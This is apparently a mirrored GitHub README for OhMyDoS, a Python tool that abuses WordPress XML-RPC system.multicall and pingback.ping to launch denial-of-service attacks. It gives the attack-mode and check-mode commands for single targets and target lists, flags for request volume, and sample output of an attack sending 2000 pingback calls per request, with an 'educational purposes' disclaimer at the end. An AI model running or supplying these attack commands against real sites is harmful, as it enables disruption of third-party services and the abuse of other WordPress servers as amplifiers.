Git Product home page Git Product logo

ohmydos's Introduction

Logo

โ›” OhMyDoS

OhMyDos is a python console application abusing Wordpress API called XML-RPC and its functions system.multicall and pingback.ping with aim of Denial-of-Service.


๐Ÿ“ Pre-requisites

  • Python3.X (download)
  • library called fake-useragent (project)
    • $ pip install fake-useragent

โšก Usage

OhMyDos provides 2 operation modes check and attack with ability to automate targeting of multiple Wordpress websites.

Attack Mode

Option Flags

Flags Description
-e Number of entries per one system.multicall (per one POST request)
-r Number of POST request per target

Single Target

$ python3 OhMyDoS.py attack http://pingback.com http://example.com

    โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ   โ–ˆโ–ˆโ–‘ โ–ˆโ–ˆ     โ–ˆโ–ˆโ–ˆโ–„ โ–„โ–ˆโ–ˆโ–ˆโ–“โ–“โ–ˆโ–ˆ   โ–ˆโ–ˆโ–“   โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–„  โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ    โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 
    โ–’โ–ˆโ–ˆโ–’  โ–ˆโ–ˆโ–’โ–“โ–ˆโ–ˆโ–‘ โ–ˆโ–ˆโ–’   โ–“โ–ˆโ–ˆโ–’โ–€โ–ˆโ–€ โ–ˆโ–ˆโ–’ โ–’โ–ˆโ–ˆ  โ–ˆโ–ˆโ–’   โ–’โ–ˆโ–ˆโ–€ โ–ˆโ–ˆโ–Œโ–’โ–ˆโ–ˆโ–’  โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆ    โ–’ 
    โ–’โ–ˆโ–ˆโ–‘  โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆโ–€โ–€โ–ˆโ–ˆโ–‘   โ–“โ–ˆโ–ˆ    โ–“โ–ˆโ–ˆโ–‘  โ–’โ–ˆโ–ˆ โ–ˆโ–ˆโ–‘   โ–‘โ–ˆโ–ˆ   โ–ˆโ–Œโ–’โ–ˆโ–ˆโ–‘  โ–ˆโ–ˆโ–’โ–‘ โ–“โ–ˆโ–ˆโ–„   
    โ–’โ–ˆโ–ˆ   โ–ˆโ–ˆโ–‘โ–‘โ–“โ–ˆ โ–‘โ–ˆโ–ˆ    โ–’โ–ˆโ–ˆ    โ–’โ–ˆโ–ˆ   โ–‘ โ–โ–ˆโ–ˆโ–“โ–‘   โ–‘โ–“โ–ˆโ–„   โ–Œโ–’โ–ˆโ–ˆ   โ–ˆโ–ˆโ–‘  โ–’   โ–ˆโ–ˆโ–’
    โ–‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–“โ–ˆโ–’โ–‘โ–ˆโ–ˆโ–“   โ–’โ–ˆโ–ˆโ–’   โ–‘โ–ˆโ–ˆโ–’  โ–‘ โ–ˆโ–ˆโ–’โ–“โ–‘   โ–‘โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–“ โ–‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–’โ–’
    โ–‘ โ–’โ–‘โ–’โ–‘โ–’โ–‘  โ–’ โ–‘โ–‘โ–’โ–‘โ–’   โ–‘ โ–’โ–‘   โ–‘  โ–‘   โ–ˆโ–ˆโ–’โ–’โ–’     โ–’โ–’โ–“  โ–’ โ–‘ โ–’โ–‘โ–’โ–‘โ–’โ–‘ โ–’ โ–’โ–“โ–’ โ–’ โ–‘
    โ–‘ โ–’ โ–’โ–‘  โ–’ โ–‘โ–’โ–‘ โ–‘   โ–‘  โ–‘      โ–‘ โ–“โ–ˆโ–ˆ โ–‘โ–’โ–‘     โ–‘ โ–’  โ–’   โ–‘ โ–’ โ–’โ–‘ โ–‘ โ–‘โ–’  โ–‘ โ–‘
      โ–‘ โ–‘     โ–‘  โ–‘  โ–‘   โ–‘      โ–‘    โ–’ โ–’         โ–‘    โ–‘   โ–‘   โ–’     โ–‘  โ–‘  
    
----------------------------------------------------------------------------
[>] Target : http://example.com
[>] Building 2000 pingback calls per one request
[>] Request size: 243.649 kB

[~] Starting attack, press CTRL+C to stop ...
[>] Requests sent : 159

[~] Attack interrupted by keypress

Multiple Targets

$ python3 OhMyDoS.py attack http://pingback.com targets.txt

Check Mode

Single Target

$ python3 OhMyDoS.py check http://example.com

    โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ   โ–ˆโ–ˆโ–‘ โ–ˆโ–ˆ     โ–ˆโ–ˆโ–ˆโ–„ โ–„โ–ˆโ–ˆโ–ˆโ–“โ–“โ–ˆโ–ˆ   โ–ˆโ–ˆโ–“   โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–„  โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ    โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 
    โ–’โ–ˆโ–ˆโ–’  โ–ˆโ–ˆโ–’โ–“โ–ˆโ–ˆโ–‘ โ–ˆโ–ˆโ–’   โ–“โ–ˆโ–ˆโ–’โ–€โ–ˆโ–€ โ–ˆโ–ˆโ–’ โ–’โ–ˆโ–ˆ  โ–ˆโ–ˆโ–’   โ–’โ–ˆโ–ˆโ–€ โ–ˆโ–ˆโ–Œโ–’โ–ˆโ–ˆโ–’  โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆ    โ–’ 
    โ–’โ–ˆโ–ˆโ–‘  โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆโ–€โ–€โ–ˆโ–ˆโ–‘   โ–“โ–ˆโ–ˆ    โ–“โ–ˆโ–ˆโ–‘  โ–’โ–ˆโ–ˆ โ–ˆโ–ˆโ–‘   โ–‘โ–ˆโ–ˆ   โ–ˆโ–Œโ–’โ–ˆโ–ˆโ–‘  โ–ˆโ–ˆโ–’โ–‘ โ–“โ–ˆโ–ˆโ–„   
    โ–’โ–ˆโ–ˆ   โ–ˆโ–ˆโ–‘โ–‘โ–“โ–ˆ โ–‘โ–ˆโ–ˆ    โ–’โ–ˆโ–ˆ    โ–’โ–ˆโ–ˆ   โ–‘ โ–โ–ˆโ–ˆโ–“โ–‘   โ–‘โ–“โ–ˆโ–„   โ–Œโ–’โ–ˆโ–ˆ   โ–ˆโ–ˆโ–‘  โ–’   โ–ˆโ–ˆโ–’
    โ–‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–“โ–ˆโ–’โ–‘โ–ˆโ–ˆโ–“   โ–’โ–ˆโ–ˆโ–’   โ–‘โ–ˆโ–ˆโ–’  โ–‘ โ–ˆโ–ˆโ–’โ–“โ–‘   โ–‘โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–“ โ–‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–’โ–’
    โ–‘ โ–’โ–‘โ–’โ–‘โ–’โ–‘  โ–’ โ–‘โ–‘โ–’โ–‘โ–’   โ–‘ โ–’โ–‘   โ–‘  โ–‘   โ–ˆโ–ˆโ–’โ–’โ–’     โ–’โ–’โ–“  โ–’ โ–‘ โ–’โ–‘โ–’โ–‘โ–’โ–‘ โ–’ โ–’โ–“โ–’ โ–’ โ–‘
    โ–‘ โ–’ โ–’โ–‘  โ–’ โ–‘โ–’โ–‘ โ–‘   โ–‘  โ–‘      โ–‘ โ–“โ–ˆโ–ˆ โ–‘โ–’โ–‘     โ–‘ โ–’  โ–’   โ–‘ โ–’ โ–’โ–‘ โ–‘ โ–‘โ–’  โ–‘ โ–‘
      โ–‘ โ–‘     โ–‘  โ–‘  โ–‘   โ–‘      โ–‘    โ–’ โ–’         โ–‘    โ–‘   โ–‘   โ–’     โ–‘  โ–‘  
    
----------------------------------------------------------------------------
[>] Checking if XML-RPC for http://example.com is enabled ...
[>] XML-RPC enabled.

Multiple Targets

$ python3 OhMyDoS.py check targets.txt

๐Ÿ“‹ To-Do List

Task Status
Reimplement random User Agent generation

๐Ÿ“ฎ Resources


๐Ÿ“ Testing Environment Set Up

  • How To Install WordPress with LAMP (link)
  • WordPress in a Docker container (link)

โš ๏ธ Disclaimer

This tool was developed solely for educational purposes only and the author of this tool is no way responsible for any misuse.

ohmydos's People

Contributors

martinkubecka avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.